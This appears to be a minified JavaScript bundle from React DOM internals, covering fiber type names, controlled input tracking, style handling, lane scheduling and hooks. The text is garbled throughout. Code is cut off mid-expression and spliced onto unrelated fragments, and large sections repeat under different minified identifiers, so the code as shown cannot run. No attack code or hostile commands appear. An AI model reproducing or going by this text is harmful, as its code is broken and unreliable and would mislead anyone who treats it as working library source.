Ae(s(a))}catch{}}return null}function Lg(s){var a=s.type;switch(s.tag){case 24:return"Cache";case 9:return(a.displayName||"Context")+".Consumer";case 10:return(a._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return s=a.render,s=s.displayName||s.name||"",a.displayName||(s!==""?"ForwardRef("+s+")":"ForwardRef");case 7:return"Fragment";case 5:return a;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Ae(a);case 8:return a===yc?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof a=="function")return a.displayName||a.name||null;if(typeof a=="string")return a}return null}function ua(s){switch(typeof s){case"boolean":case"number":case"string":case"undefined":return s;case"object":return s;default:return""}}function lr(s){var a=s.type;return(s=s.nodeName)&&s.toLowerCase()==="input"&&(a==="checkbox"||a==="radio")}function _g(s){var a=lr(s)?"checked":"value",n=Object.getOwnPropertyDescriptor(s.constructor.prototype,a),l=""+s[a];if(!s.hasOwnProperty(a)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var p=n.get,e=n.set;return Object.defineProperty(s,a,{configurable:!0,get:function(){return p.call(this)},set:function(c){l=""+c,e.call(this,c)}}),Object.defineProperty(s,a,{enumerable:n.enumerable}),{getValue:function(){return l},setValue:function(c){l=""+c},stopTracking:function(){s._valueTracker=null,delete s[a]}}}}function jl(s){s._valueTracker||(s._valueTracker=_g(s))}function pr(s){if(!s)return!1;var a=s._valueTracker;if(!a)return!0;var n=a.getValue(),l="";return s&&(l=lr(s)?s.checked?"true":"false":s.value),s=l,s!==n?(a.setValue(s),!0):!1}function Ul(s){if(s=s||(typeof document<"u"?document:void 0),typeof s>"u")return null;try{return s.activeElement||s.body}catch{return s.body}}function me(s,a){var n=a.checked;return U({},a,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??s._wrapperState.initialChecked})}function jt(s,a){var n=a.defaultValue==null?"":a.defaultValue,l=a.checked!=null?a.checked:a.defaultChecked;n=ua(a.value!=null?a.value:n),s._wrapperState={initialChecked:l,initialValue:n,controlled:a.type==="checkbox"||a.type==="radio"?a.checked!=null:a.value!=null}}function er(s,a){a=a.checked,a!=null&&uc(s,"checked",a,!1)}function be(s,a){er(s,a);var n=ua(a.value),l=a.type;if(n!=null)l==="number"?(n===0&&s.value===""||s.value!=n)&&(s.value=""+n):s.value!==""+n&&(s.value=""+n);else if(l==="submit"||l==="reset"){s.removeAttribute("value");return}a.hasOwnProperty("value")?we(s,a.type,n):a.hasOwnProperty("defaultValue")&&we(s,a.type,ua(a.defaultValue)),a.checked==null&&a.defaultChecked!=null&&(s.defaultChecked=!!a.defaultChecked)}function ut(s,a,n){if(a.hasOwnProperty("value")||a.hasOwnProperty("defaultValue")){var l=a.type;if(!(l!=="submit"&&l!=="reset"||a.value!==void 0&&a.value!==null))return;a=""+s._wrapperState.initialValue,n||a===s.value||(s.value=a),s.defaultValue=a}n=s.name,n!==""&&(s.name=""),s.defaultChecked=!!s._wrapperState.initialChecked,n!==""&&(s.name=n)}function we(s,a,n){(a!=="number"||Ul(s.ownerDocument)!==s)&&(n==null?s.defaultValue=""+s._wrapperState.initialValue:s.defaultValue!==""+n&&(s.defaultValue=""+n))}var fn=Array.isArray;function qa(s,a,n,l){if(s=s.options,a){a={};for(var p=0;p"+a.valueOf().toString()+"",a=ul.firstChild;s.firstChild;)s.removeChild(s.firstChild);for(;a.firstChild;)s.appendChild(a.firstChild)}});function zn(s,a){if(a){var n=s.firstChild;if(n&&n===s.lastChild&&n.nodeType===3){n.nodeValue=a;return}}s.textContent=a}var Xn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Og=["Webkit","ms","Moz","O"];Object.keys(Xn).forEach(function(s){Og.forEach(function(a){a=a+s.charAt(0).toUpperCase()+s.substring(1),Xn[a]=Xn[s]})});function rr(s,a,n){return a==null||typeof a=="boolean"||a===""?"":n||typeof a!="number"||a===0||Xn.hasOwnProperty(s)&&Xn[s]?(""+a).trim():a+"px"}function ir(s,a){s=s.style;for(var n in a)if(a.hasOwnProperty(n)){var l=n.indexOf("--")===0,p=rr(n,a[n],l);n==="float"&&(n="cssFloat"),l?s.setProperty(n,p):s[n]=p}}var Pg=U({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function We(s,a){if(a){if(Pg[s]&&(a.children!=null||a.dangerouslySetInnerHTML!=null))throw Error(w(137,s));if(a.dangerouslySetInnerHTML!=null){if(a.children!=null)throw Error(w(60));if(typeof a.dangerouslySetInnerHTML!="object"||!("__html"in a.dangerouslySetInnerHTML))throw Error(w(61))}if(a.style!=null&&typeof a.style!="object")throw Error(w(62))}}function Ge(s,a){if(s.indexOf("-")===-1)return typeof a.is=="string";switch(s){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Be=null;function bc(s){return s=s.target||s.srcElement||window,s.correspondingUseElement&&(s=s.correspondingUseElement),s.nodeType===3?s.parentNode:s}var Ve=null,sn=null,an=null;function mt(s){if(s=rl(s)){if(typeof Ve!="function")throw Error(w(280));var a=s.stateNode;a&&(a=bp(a),Ve(s.stateNode,s.type,a))}}function gr(s){sn?an?an.push(s):an=[s]:sn=s}function hr(){if(sn){var s=sn,a=an;if(an=sn=null,mt(s),a)for(s=0;s>>=0,s===0?32:31-(oh(s)/rh|0)|0}var yl=64,Al=4194304;function Yn(s){switch(s&-s){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return s&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return s&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return s}}function Ll(s,a){var n=s.pendingLanes;if(n===0)return 0;var l=0,p=s.suspendedLanes,e=s.pingedLanes,c=n&268435455;if(c!==0){var t=c&~p;t!==0?l=Yn(t):(e&=c,e!==0&&(l=Yn(e)))}else c=n&~p,c!==0?l=Yn(c):e!==0&&(l=Yn(e));if(l===0)return 0;if(a!==0&&a!==l&&!(a&p)&&(p=l&-l,e=a&-a,p>=e||p===16&&(e&4194240)!==0))return a;if(l&4&&(l|=n&16),a=s.entangledLanes,a!==0)for(s=s.entanglements,a&=l;0n;n++)a.push(s);return a}function tl(s,a,n){s.pendingLanes|=a,a!==536870912&&(s.suspendedLanes=0,s.pingedLanes=0),s=s.eventTimes,a=31-Fs(a),s[a]=n}function dh(s,a){var n=s.pendingLanes&~a;s.pendingLanes=a,s.suspendedLanes=0,s.pingedLanes=0,s.expiredLanes&=a,s.mutableReadLanes&=a,s.entangledLanes&=a,a=s.entanglements;var l=s.eventTimes;for(s=s.expirationTimes;0=Nn),ft=" ",Yt=!1;function Xr(s,a){switch(s){case"keyup":return Jh.indexOf(a.keyCode)!==-1;case"keydown":return a.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function vr(s){return s=s.detail,typeof s=="object"&&"data"in s?s.data:null}var Ea=!1;function Eh(s,a){switch(s){case"compositionend":return vr(a);case"keypress":return a.which!==32?null:(Yt=!0,ft);case"textInput":return s=a.data,s===ft&&Yt?null:s;default:return null}}function Uh(s,a){if(Ea)return s==="compositionend"||!fc&&Xr(s,a)?(s=Yr(),Hl=Gc=ca=null,Ea=!1,s):null;switch(s){case"paste":return null;case"keypress":if(!(a.ctrlKey||a.altKey||a.metaKey)||a.ctrlKey&&a.altKey){if(a.char&&1=a)return{node:n,offset:a-s};s=l}s:{for(;n;){if(n.nextSibling){n=n.nextSibling;break s}n=n.parentNode}n=void 0}n=Nt(n)}}function Kr(s,a){return s&&a?s===a?!0:s&&s.nodeType===3?!1:a&&a.nodeType===3?Kr(s,a.parentNode):"contains"in s?s.contains(a):s.compareDocumentPosition?!!(s.compareDocumentPosition(a)&16):!1:!1}function Sr(){for(var s=window,a=Ul();a instanceof s.HTMLIFrameElement;){try{var n=typeof a.contentWindow.location.href=="string"}catch{n=!1}if(n)s=a.contentWindow;else break;a=Ul(s.document)}return a}function Yc(s){var a=s&&s.nodeName&&s.nodeName.toLowerCase();return a&&(a==="input"&&(s.type==="text"||s.type==="search"||s.type==="tel"||s.type==="url"||s.type==="password")||a==="textarea"||s.contentEditable==="true")}function qh(s){var a=Sr(),n=s.focusedElem,l=s.selectionRange;if(a!==n&&n&&n.ownerDocument&&Kr(n.ownerDocument.documentElement,n)){if(l!==null&&Yc(n)){if(a=l.start,s=l.end,s===void 0&&(s=a),"selectionStart"in n)n.selectionStart=a,n.selectionEnd=Math.min(s,n.value.length);else if(s=(a=n.ownerDocument||document)&&a.defaultView||window,s.getSelection){s=s.getSelection();var p=n.textContent.length,e=Math.min(l.start,p);l=l.end===void 0?e:Math.min(l.end,p),!s.extend&&e>l&&(p=l,l=e,e=p),p=Ht(n,e);var c=Ht(n,l);p&&c&&(s.rangeCount!==1||s.anchorNode!==p.node||s.anchorOffset!==p.offset||s.focusNode!==c.node||s.focusOffset!==c.offset)&&(a=a.createRange(),a.setStart(p.node,p.offset),s.removeAllRanges(),e>l?(s.addRange(a),s.extend(c.node,c.offset)):(a.setEnd(c.node,c.offset),s.addRange(a)))}}for(a=[],s=n;s=s.parentNode;)s.nodeType===1&&a.push({element:s,left:s.scrollLeft,top:s.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Ua=null,Ne=null,Fn=null,He=!1;function Ft(s,a,n){var l=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;He||Ua==null||Ua!==Ul(l)||(l=Ua,"selectionStart"in l&&Yc(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),Fn&&Ln(Fn,l)||(Fn=l,l=Pl(Ne,"onSelect"),0Da||(s.current=Je[Da],Je[Da]=null,Da--)}function K(s,a){Da++,Je[Da]=s.current,s.current=a}var ya={},os=ma(ya),js=ma(!1),Xa=ya;function cn(s,a){var n=s.type.contextTypes;if(!n)return ya;var l=s.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===a)return l.__reactInternalMemoizedMaskedChildContext;var p={},e;for(e in n)p[e]=a[e];return l&&(s=s.stateNode,s.__reactInternalMemoizedUnmaskedChildContext=a,s.__reactInternalMemoizedMaskedChildContext=p),p}function us(s){return s=s.childContextTypes,s!=null}function ql(){M(js),M(os)}function Et(s,a,n){if(os.current!==ya)throw Error(w(168));K(os,a),K(js,n)}function Dr(s,a,n){var l=s.stateNode;if(a=a.childContextTypes,typeof l.getChildContext!="function")return n;l=l.getChildContext();for(var p in l)if(!(p in a))throw Error(w(108,Lg(s)||"Unknown",p));return U({},n,l)}function sp(s){return s=(s=s.stateNode)&&s.__reactInternalMemoizedMergedChildContext||ya,Xa=os.current,K(os,s),K(js,js.current),!0}function Ut(s,a,n){var l=s.stateNode;if(!l)throw Error(w(169));n?(s=Dr(s,a,Xa),l.__reactInternalMemoizedMergedChildContext=s,M(js),M(os),K(os,s)):M(js),K(js,n)}var Ts=null,wp=!1,ne=!1;function Lr(s){Ts===null?Ts=[s]:Ts.push(s)}function gd(s){wp=!0,Lr(s)}function ba(){if(!ne&&Ts!==null){ne=!0;var s=0,a=F;try{var n=Ts;for(F=1;s>=c,p-=c,Qs=1<<32-Fs(a)+p|n<Y?(x=B,B=null):x=B.sibling;var N=j(h,B,C[Y],A);if(N===null){B===null&&(B=x);break}s&&B&&N.alternate===null&&a(h,B),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N,B=x}if(Y===C.length)return n(h,B),J&&Za(h,Y),Z;if(B===null){for(;YY?(x=B,B=null):x=B.sibling;var Rs=j(h,B,N.value,A);if(Rs===null){B===null&&(B=x);break}s&&B&&Rs.alternate===null&&a(h,B),g=e(Rs,g,Y),k===null?Z=Rs:k.sibling=Rs,k=Rs,B=x}if(N.done)return n(h,B),J&&Za(h,Y),Z;if(B===null){for(;!N.done;Y++,N=C.next())N=I(h,N.value,A),N!==null&&(g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return J&&Za(h,Y),Z}for(B=l(h,B);!N.done;Y++,N=C.next())N=y(B,h,Y,N.value,A),N!==null&&(s&&N.alternate!==null&&B.delete(N.key===null?Y:N.key),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return s&&B.forEach(function(yn){return a(h,yn)}),J&&Za(h,Y),Z}function G(h,g,C,A){if(typeof C=="object"&&C!==null&&C.type===za&&C.key===null&&(C=C.props.children),typeof C=="object"&&C!==null){switch(C.$$typeof){case Cl:s:{for(var Z=C.key,k=g;k!==null;){if(k.key===Z){if(Z=C.type,Z===za){if(k.tag===7){n(h,k.sibling),g=p(k,C.props.children),g.return=h,h=g;break s}}else if(k.elementType===Z||typeof Z=="object"&&Z!==null&&Z.$$typeof===na&&Pt(Z)===k.type){n(h,k.sibling),g=p(k,C.props),g.ref=Wn(h,k,C),g.return=h,h=g;break s}n(h,k);break}else a(h,k);k=k.sibling}C.type===za?(g=Ya(C.props.children,h.mode,A,C.key),g.return=h,h=g):(A=El(C.type,C.key,C.props,null,h.mode,A),A.ref=Wn(h,g,C),A.return=h,h=A)}return c(h);case Ja:s:{for(k=C.key;g!==null;){if(g.key===k)if(g.tag===4&&g.stateNode.containerInfo===C.containerInfo&&g.stateNode.implementation===C.implementation){n(h,g.sibling),g=p(g,C.children||[]),g.return=h,h=g;break s}else{n(h,g);break}else a(h,g);g=g.sibling}g=ie(C,h.mode,A),g.return=h,h=g}return c(h);case na:return k=C._init,G(h,g,k(C._payload),A)}if(fn(C))return m(h,g,C,A);if(mn(C))return b(h,g,C,A);Gl(h,C)}return typeof C=="string"&&C!==""||typeof C=="number"?(C=""+C,g!==null&&g.tag===6?(n(h,g.sibling),g=p(g,C),g.return=h,h=g):(n(h,g),g=re(C,h.mode,A),g.return=h,h=g),c(h)):n(h,g)}return G}var on=ni(!0),li=ni(!1),il={},Es=ma(il),$n=ma(il),qn=ma(il);function Va(s){if(s===il)throw Error(w(174));return s}function Mc(s,a){switch(K(qn,a),K($n,s),K(Es,il),s=a.nodeType,s){case 9:case 11:a=(a=a.documentElement)?a.namespaceURI:Ze(null,"");break;default:s=s===8?a.parentNode:a,a=s.namespaceURI||null,s=s.tagName,a=Ze(a,s)}M(Es),K(Es,a)}function rn(){M(Es),M($n),M(qn)}function pi(s){Va(qn.current);var a=Va(Es.current),n=Ze(a,s.type);a!==n&&(K($n,s),K(Es,n))}function xc(s){$n.current===s&&(M(Es),M($n))}var z=ma(0);function cp(s){for(var a=s;a!==null;){if(a.tag===13){var n=a.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||n.data==="$?"||n.data==="$!"))return a}else if(a.tag===19&&a.memoizedProps.revealOrder!==void 0){if(a.flags&128)return a}else if(a.child!==null){a.child.return=a,a=a.child;continue}if(a===s)break;for(;a.sibling===null;){if(a.return===null||a.return===s)return null;a=a.return}a.sibling.return=a.return,a=a.sibling}return null}var le=[];function Jc(){for(var s=0;sn?n:4,s(!0);var l=pe.transition;pe.transition={};try{s(!1),a()}finally{F=n,pe.transition=l}}function mi(){return Ys().memoizedState}function Cd(s,a,n){var l=Ca(s);if(n={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null},bi(s))wi(a,n);else if(n=$r(s,a,n,l),n!==null){var p=is();Ks(n,s,l,p),ki(n,a,l)}}function jd(s,a,n){var l=Ca(s),p={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null};if(bi(s))wi(a,p);else{var e=s.alternate;if(s.lanes===0&&(e===null||e.lanes===0)&&(e=a.lastRenderedReducer,e!==null))try{var c=a.lastRenderedState,t=e(c,n);if(p.hasEagerState=!0,p.eagerState=t,Ss(t,c)){var o=a.interleaved;o===null?(p.next=p,Kc(a)):(p.next=o.next,o.next=p),a.interleaved=p;return}}catch{}finally{}n=$r(s,a,p,l),n!==null&&(p=is(),Ks(n,s,l,p),ki(n,a,l))}}function bi(s){var a=s.alternate;return s===E||a!==null&&a===E}function wi(s,a){Kn=tp=!0;var n=s.pending;n===null?a.next=a:(a.next=n.next,n.next=a),s.pending=a}function ki(s,a,n){if(n&4194240){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,kc(s,n)}}var op={readContext:fs,useCallback:es,useContext:es,useEffect:es,useImperativeHandle:es,useInsertionEffect:es,useLayoutEffect:es,useMemo:es,useReducer:es,useRef:es,useState:es,useDebugValue:es,useDeferredValue:es,useTransition:es,useMutableSource:es,useSyncExternalStore:es,useId:es,unstable_isNewReconciler:!1},ud={readContext:fs,useCallback:function(s,a){return xs().memoizedState=[s,a===void 0?null:a],s},useContext:fs,useEffect:qt,useImperativeHandle:function(s,a,n){return n=n!=null?n.concat([s]):null,Ml(4194308,4,Ci.bind(null,a,s),n)},useLayoutEffect:function(s,a){return Ml(4194308,4,s,a)},useInsertionEffect:function(s,a){return Ml(4,2,s,a)},useMemo:function(s,a){var n=xs();return a=a===void 0?null:a,s=s(),n.memoizedState=[s,a],s},useReducer:function(s,a,n){var l=xs();return a=n!==void 0?n(a):a,l.memoizedState=l.baseState=a,s={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:s,lastRenderedState:a},l.queue=s,s=s.dispatch=Cd.bind(null,E,s),[l.memoizedState,s]},useRef:function(s){var a=xs();return s={current:s},a.memoizedState=s},useState:$t,useDebugValue:Qc,useDeferredValue:function(s){return xs().memoizedState=s},useTransition:function(){var s=$t(!1),a=s[0];return s=Id.bind(null,s[1]),xs().memoizedState=s,[a,s]},useMutableSource:function(){},useSyncExternalStore:function(s,a,n){var l=E,p=xs();if(J){if(n===void 0)throw Error(w(407));n=n()}else{if(n=a(),ss===null)throw Error(w(349));Na&30||ti(l,a,n)}p.memoizedState=n;var e={value:n,getSnapshot:a};return p.queue=e,qt(ri.bind(null,l,e,s),[s]),l.flags|=2048,nl(9,oi.bind(null,l,e,n,a),void 0,null),n},useId:function(){var s=xs(),a=ss.identifierPrefix;if(J){var n=Ds,l=Qs;n=(l&~(1<<32-Fs(l)-1)).toString(32)+n,a=":"+a+"R"+n,n=sl++,0")&&(o=o.replace("",s.displayName)),o}while(1<=c&&0<=t);break}}}finally{Jp=!1,Error.prepareStackTrace=n}return(s=s?s.displayName||s.name:"")?Vn(s):""}function Qg(s){switch(s.tag){case 5:return Vn(s.type);case 16:return Vn("Lazy");case 13:return Vn("Suspense");case 19:return Vn("SuspenseList");case 0:case 2:case 15:return s=zp(s.type,!1),s;case 11:return s=zp(s.type.render,!1),s;case 1:return s=zp(s.type,!0),s;default:return""}}function ye(s){if(s==null)return null;if(typeof s=="function")return s.displayName||s.name||null;if(typeof s=="string")return s;switch(s){case za:return"Fragment";case Ja:return"Portal";case je:return"Profiler";case Ac:return"StrictMode";case ue:return"Suspense";case Ae:return"SuspenseList"}if(typeof s=="object")switch(s.$$typeof){case sr:return(s.displayName||"Context")+".Consumer";case qo:return(s._context.displayName||"Context")+".Provider";case yc:var a=s.render;return s=s.displayName,s||(s=a.displayName||a.name||"",s=s!==""?"ForwardRef("+s+")":"ForwardRef"),s;case mc:return a=s.displayName||null,a!==null?a:ye(s.type)||"Memo";case na:a=s._payload,s=s._init;try{return ye(s(a))}catch{}}return null}function _g(s){var a=s.type;switch(s.tag){case 24:return"Cache";case 9:return(a.displayName||"Context")+".Consumer";case 10:return(a._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return s=a.render,s=s.displayName||s.name||"",a.displayName||(s!==""?"ForwardRef("+s+")":"ForwardRef");case 7:return"Fragment";case 5:return a;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return ye(a);case 8:return a===Ac?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof a=="function")return a.displayName||a.name||null;if(typeof a=="string")return a}return null}function ua(s){switch(typeof s){case"boolean":case"number":case"string":case"undefined":return s;case"object":return s;default:return""}}function nr(s){var a=s.type;return(s=s.nodeName)&&s.toLowerCase()==="input"&&(a==="checkbox"||a==="radio")}function Lg(s){var a=nr(s)?"checked":"value",n=Object.getOwnPropertyDescriptor(s.constructor.prototype,a),l=""+s[a];if(!s.hasOwnProperty(a)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var p=n.get,e=n.set;return Object.defineProperty(s,a,{configurable:!0,get:function(){return p.call(this)},set:function(c){l=""+c,e.call(this,c)}}),Object.defineProperty(s,a,{enumerable:n.enumerable}),{getValue:function(){return l},setValue:function(c){l=""+c},stopTracking:function(){s._valueTracker=null,delete s[a]}}}}function jl(s){s._valueTracker||(s._valueTracker=Lg(s))}function lr(s){if(!s)return!1;var a=s._valueTracker;if(!a)return!0;var n=a.getValue(),l="";return s&&(l=nr(s)?s.checked?"true":"false":s.value),s=l,s!==n?(a.setValue(s),!0):!1}function Dl(s){if(s=s||(typeof document<"u"?document:void 0),typeof s>"u")return null;try{return s.activeElement||s.body}catch{return s.body}}function me(s,a){var n=a.checked;return D({},a,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??s._wrapperState.initialChecked})}function Ct(s,a){var n=a.defaultValue==null?"":a.defaultValue,l=a.checked!=null?a.checked:a.defaultChecked;n=ua(a.value!=null?a.value:n),s._wrapperState={initialChecked:l,initialValue:n,controlled:a.type==="checkbox"||a.type==="radio"?a.checked!=null:a.value!=null}}function pr(s,a){a=a.checked,a!=null&&uc(s,"checked",a,!1)}function be(s,a){pr(s,a);var n=ua(a.value),l=a.type;if(n!=null)l==="number"?(n===0&&s.value===""||s.value!=n)&&(s.value=""+n):s.value!==""+n&&(s.value=""+n);else if(l==="submit"||l==="reset"){s.removeAttribute("value");return}a.hasOwnProperty("value")?we(s,a.type,n):a.hasOwnProperty("defaultValue")&&we(s,a.type,ua(a.defaultValue)),a.checked==null&&a.defaultChecked!=null&&(s.defaultChecked=!!a.defaultChecked)}function jt(s,a,n){if(a.hasOwnProperty("value")||a.hasOwnProperty("defaultValue")){var l=a.type;if(!(l!=="submit"&&l!=="reset"||a.value!==void 0&&a.value!==null))return;a=""+s._wrapperState.initialValue,n||a===s.value||(s.value=a),s.defaultValue=a}n=s.name,n!==""&&(s.name=""),s.defaultChecked=!!s._wrapperState.initialChecked,n!==""&&(s.name=n)}function we(s,a,n){(a!=="number"||Dl(s.ownerDocument)!==s)&&(n==null?s.defaultValue=""+s._wrapperState.initialValue:s.defaultValue!==""+n&&(s.defaultValue=""+n))}var fn=Array.isArray;function qa(s,a,n,l){if(s=s.options,a){a={};for(var p=0;p"+a.valueOf().toString()+"",a=ul.firstChild;s.firstChild;)s.removeChild(s.firstChild);for(;a.firstChild;)s.appendChild(a.firstChild)}});function zn(s,a){if(a){var n=s.firstChild;if(n&&n===s.lastChild&&n.nodeType===3){n.nodeValue=a;return}}s.textContent=a}var Xn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Og=["Webkit","ms","Moz","O"];Object.keys(Xn).forEach(function(s){Og.forEach(function(a){a=a+s.charAt(0).toUpperCase()+s.substring(1),Xn[a]=Xn[s]})});function or(s,a,n){return a==null||typeof a=="boolean"||a===""?"":n||typeof a!="number"||a===0||Xn.hasOwnProperty(s)&&Xn[s]?(""+a).trim():a+"px"}function rr(s,a){s=s.style;for(var n in a)if(a.hasOwnProperty(n)){var l=n.indexOf("--")===0,p=or(n,a[n],l);n==="float"&&(n="cssFloat"),l?s.setProperty(n,p):s[n]=p}}var Pg=D({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function We(s,a){if(a){if(Pg[s]&&(a.children!=null||a.dangerouslySetInnerHTML!=null))throw Error(w(137,s));if(a.dangerouslySetInnerHTML!=null){if(a.children!=null)throw Error(w(60));if(typeof a.dangerouslySetInnerHTML!="object"||!("__html"in a.dangerouslySetInnerHTML))throw Error(w(61))}if(a.style!=null&&typeof a.style!="object")throw Error(w(62))}}function Be(s,a){if(s.indexOf("-")===-1)return typeof a.is=="string";switch(s){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ge=null;function bc(s){return s=s.target||s.srcElement||window,s.correspondingUseElement&&(s=s.correspondingUseElement),s.nodeType===3?s.parentNode:s}var Ve=null,sn=null,an=null;function yt(s){if(s=rl(s)){if(typeof Ve!="function")throw Error(w(280));var a=s.stateNode;a&&(a=bp(a),Ve(s.stateNode,s.type,a))}}function ir(s){sn?an?an.push(s):an=[s]:sn=s}function gr(){if(sn){var s=sn,a=an;if(an=sn=null,yt(s),a)for(s=0;s>>=0,s===0?32:31-(oh(s)/rh|0)|0}var Al=64,yl=4194304;function Yn(s){switch(s&-s){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return s&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return s&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return s}}function _l(s,a){var n=s.pendingLanes;if(n===0)return 0;var l=0,p=s.suspendedLanes,e=s.pingedLanes,c=n&268435455;if(c!==0){var t=c&~p;t!==0?l=Yn(t):(e&=c,e!==0&&(l=Yn(e)))}else c=n&~p,c!==0?l=Yn(c):e!==0&&(l=Yn(e));if(l===0)return 0;if(a!==0&&a!==l&&!(a&p)&&(p=l&-l,e=a&-a,p>=e||p===16&&(e&4194240)!==0))return a;if(l&4&&(l|=n&16),a=s.entangledLanes,a!==0)for(s=s.entanglements,a&=l;0n;n++)a.push(s);return a}function tl(s,a,n){s.pendingLanes|=a,a!==536870912&&(s.suspendedLanes=0,s.pingedLanes=0),s=s.eventTimes,a=31-Fs(a),s[a]=n}function Ih(s,a){var n=s.pendingLanes&~a;s.pendingLanes=a,s.suspendedLanes=0,s.pingedLanes=0,s.expiredLanes&=a,s.mutableReadLanes&=a,s.entangledLanes&=a,a=s.entanglements;var l=s.eventTimes;for(s=s.expirationTimes;0=Nn),Vt=" ",ft=!1;function Rr(s,a){switch(s){case"keyup":return Jh.indexOf(a.keyCode)!==-1;case"keydown":return a.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Xr(s){return s=s.detail,typeof s=="object"&&"data"in s?s.data:null}var Ea=!1;function Eh(s,a){switch(s){case"compositionend":return Xr(a);case"keypress":return a.which!==32?null:(ft=!0,Vt);case"textInput":return s=a.data,s===Vt&&ft?null:s;default:return null}}function Dh(s,a){if(Ea)return s==="compositionend"||!fc&&Rr(s,a)?(s=fr(),Hl=Bc=ca=null,Ea=!1,s):null;switch(s){case"paste":return null;case"keypress":if(!(a.ctrlKey||a.altKey||a.metaKey)||a.ctrlKey&&a.altKey){if(a.char&&1=a)return{node:n,offset:a-s};s=l}s:{for(;n;){if(n.nextSibling){n=n.nextSibling;break s}n=n.parentNode}n=void 0}n=vt(n)}}function Fr(s,a){return s&&a?s===a?!0:s&&s.nodeType===3?!1:a&&a.nodeType===3?Fr(s,a.parentNode):"contains"in s?s.contains(a):s.compareDocumentPosition?!!(s.compareDocumentPosition(a)&16):!1:!1}function Kr(){for(var s=window,a=Dl();a instanceof s.HTMLIFrameElement;){try{var n=typeof a.contentWindow.location.href=="string"}catch{n=!1}if(n)s=a.contentWindow;else break;a=Dl(s.document)}return a}function 